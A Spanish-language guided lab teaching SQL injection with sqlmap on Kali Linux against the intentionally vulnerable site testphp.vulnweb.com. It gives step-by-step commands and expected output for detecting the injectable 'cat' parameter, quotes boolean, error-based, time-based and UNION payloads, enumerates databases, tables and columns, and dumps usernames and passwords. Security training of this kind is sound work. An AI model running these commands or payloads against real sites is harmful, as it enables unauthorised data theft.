Inyección SQL en Kali con sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderás a identificar y explotar vulnerabilidades de inyección SQL utilizando Kali Linux y la potente herramienta sqlmap. A través de una serie de pasos guiados, detectarás una aplicación web vulnerable, enumerarás la estructura de su base de datos y extraerás información sensible. Todas las actividades se realizan dentro de un entorno seguro de VM de LabEx utilizando un contenedor de Kali Linux. Este laboratorio está diseñado para principiantes, proporcionando experiencia práctica en pruebas automatizadas de seguridad de aplicaciones web. Al abrir la terminal, te conectarás automáticamente a la shell del contenedor de Kali Linux, listo para comenzar.

Este es un Laboratorio Guiado, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y ganar experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel intermedio con una tasa de finalización del 60%. Ha recibido una tasa de valoraciones positivas del 97% por parte de los alumnos.

Configuración del Entorno e Instalación de sqlmap

Tu entorno de laboratorio está preconfigurado para situarte automáticamente dentro de una shell de contenedor de Kali Linux al abrir la terminal. Tu primera tarea es preparar este entorno actualizando la lista de paquetes e instalando sqlmap, la herramienta principal para este laboratorio.

sqlmap es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL y la toma de control de servidores de bases de datos.

Primero, actualiza el índice del repositorio de paquetes. Esto asegura que puedas obtener la versión más reciente del software.

apt update

A continuación, instala sqlmap utilizando el siguiente comando. El parámetro -y confirma automáticamente la instalación.

apt install -y sqlmap

Este proceso puede tardar unos instantes. Una vez completada la instalación, verifica que sqlmap se haya instalado correctamente comprobando su versión.

sqlmap --version

Deberías ver una salida que muestra la versión instalada de sqlmap, lo que confirma que la herramienta está lista para ser utilizada.

Salida Esperada (el número de versión puede variar):

1.x.x#stable

Con sqlmap instalado y verificado, tu entorno está ahora preparado para los siguientes pasos, donde comenzarás a probar vulnerabilidades de inyección SQL en una aplicación web de prueba.

Detección de una Vulnerabilidad de Inyección SQL

Ahora que sqlmap está instalado, puedes comenzar a probar una aplicación web en busca de vulnerabilidades de inyección SQL. Para este laboratorio, utilizaremos un sitio web disponible públicamente, diseñado intencionalmente con vulnerabilidades para pruebas de seguridad. El primer paso en cualquier ataque de inyección SQL es identificar un parámetro vulnerable.

La URL de destino para este laboratorio es http://testphp.vulnweb.com/listproducts.php?cat=1. El parámetro cat=1 es un punto de entrada potencial para la inyección. Utilizaremos sqlmap para probar automáticamente este parámetro.

Ejecuta el siguiente comando para iniciar la prueba. El parámetro -u especifica la URL de destino. Utilizamos el parámetro --batch para que sqlmap se ejecute con sus respuestas predeterminadas a cualquier pregunta interactiva, haciendo que el proceso sea más rápido y no requiera intervención manual.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

sqlmap realizará una serie de pruebas contra la URL. Analizará las respuestas para determinar si el parámetro cat es inyectable. Este proceso puede tardar uno o dos minutos mientras prueba varias técnicas de inyección SQL.

Una vez finalizado el escaneo, revisa la salida. Deberías encontrar una sección que confirme la vulnerabilidad.

Salida Esperada (truncada):

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

La salida confirma que el parámetro cat es vulnerable a múltiples tipos de ataques de inyección SQL:

  • Boolean-based blind: Utiliza lógica de verdadero/falso para extraer datos.
  • Error-based: Explota los mensajes de error de la base de datos para revelar información.
  • Time-based blind: Utiliza retrasos en las respuestas para confirmar la inyección.
  • UNION query: Combina resultados de múltiples sentencias SELECT.

El escaneo también identifica que la base de datos de respaldo es MySQL versión 5.6 o superior, ejecutándose en un sistema Linux Ubuntu con Nginx y PHP. Esta información detallada de "huella digital" (fingerprinting) guía los siguientes pasos en el proceso de explotación.

Enumeración de Bases de Datos

Con la vulnerabilidad confirmada, el siguiente paso lógico es descubrir qué bases de datos existen en el servidor. Este proceso se denomina enumeración de bases de datos. Conocer los nombres de las bases de datos es esencial para navegar por la estructura de datos del servidor.

Utilizarás el parámetro --dbs con sqlmap para listar todas las bases de datos disponibles. El comando reutiliza los datos de la sesión del paso anterior, por lo que sqlmap no necesita volver a verificar la vulnerabilidad.

Ejecuta el siguiente comando:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap explotará la vulnerabilidad para consultar el esquema de la base de datos y recuperar una lista de todos los nombres de las bases de datos. Observa que sqlmap reanuda desde la sesión guardada, por lo que no necesita volver a probar la vulnerabilidad.

Salida Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

La salida muestra dos bases de datos: acuart e information_schema.

  • information_schema es una base de datos estándar en MySQL que almacena metadatos sobre todas las demás bases de datos. Es útil, pero normalmente no es el objetivo principal para el robo de datos.
  • acuart parece ser una base de datos personalizada de la aplicación, la cual es probable que contenga los datos interesantes que estamos buscando, como información de usuarios o datos de la aplicación.

Ahora que tienes el nombre de la base de datos de la aplicación, puedes proceder a inspeccionar su contenido.

Enumeración de Tablas y Columnas

Después de identificar la base de datos acuart, tu siguiente objetivo es ver qué tablas contiene. Las tablas son donde se almacenan los datos reales. Una tabla llamada users o customers, por ejemplo, es un objetivo de alto valor.

Para listar las tablas en la base de datos acuart, utiliza el parámetro -D para especificar el nombre de la base de datos y el parámetro --tables para solicitar la lista de tablas.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

Salida Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

La salida revela varias tablas, siendo users una especialmente interesante. Vamos a investigar la tabla users más a fondo listando sus columnas. Para hacer esto, añade el parámetro -T para especificar el nombre de la tabla y el parámetro --columns.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

Salida Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Las columnas uname (nombre de usuario) y pass (contraseña) son objetivos primordiales para la extracción de datos. Otras columnas interesantes incluyen email, cc (tarjeta de crédito) y phone para obtener información de clientes. Ahora tienes toda la información necesaria para volcar el contenido de estas columnas sensibles.

Extracción de Datos de una Tabla

Este es el paso final del ataque, donde extraerás los datos de la tabla objetivo. Basándote en los pasos anteriores, conoces la base de datos (acuart), la tabla (users) y las columnas de interés (uname, pass).

Para extraer los datos, utilizarás el parámetro --dump. Puedes especificar qué columnas extraer utilizando el parámetro -C para que el proceso sea más rápido y enfocado.

Ejecuta el siguiente comando para extraer los nombres de usuario y las contraseñas de la tabla users:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

sqlmap extraerá ahora los datos de las columnas especificadas y los mostrará en la terminal. También guardará los datos en un archivo CSV para su análisis posterior.

Salida Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

La salida muestra una entrada de usuario con el nombre de usuario test y la contraseña test. Esta extracción exitosa de datos demuestra el impacto crítico de las vulnerabilidades de inyección SQL:

  • Brecha de Datos: Las credenciales sensibles de los usuarios quedan expuestas.
  • Acceso no Autorizado: Estas credenciales podrían usarse para iniciar sesión en la aplicación.
  • Violación de la Privacidad: La información personal se ve comprometida.
  • Riesgo de Seguridad: La vulnerabilidad podría explotarse para acceder a otros datos o escalar privilegios.

Esto completa una secuencia típica de ataque de inyección SQL: detección → enumeración → explotación → extracción de datos.

También puedes ver los datos guardados leyendo el archivo CSV mencionado en la salida.

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Salida Esperada:

uname,pass
test,test

Esto confirma que los datos han sido exfiltrados y guardados correctamente.

Resumen

En este laboratorio, has realizado con éxito un ataque de inyección SQL de extremo a extremo utilizando sqlmap en un entorno de Kali Linux. Comenzaste instalando sqlmap y luego lo utilizaste para detectar automáticamente una vulnerabilidad en una aplicación web real. Siguiendo un enfoque sistemático, enumeraste las bases de datos del servidor, listaste las tablas dentro de una base de datos objetivo, identificaste columnas sensibles y finalmente extrajiste las credenciales de usuario. Esta experiencia práctica te ha proporcionado una comprensión real de cómo se pueden utilizar herramientas automatizadas para encontrar y explotar uno de los fallos de seguridad web más comunes y críticos.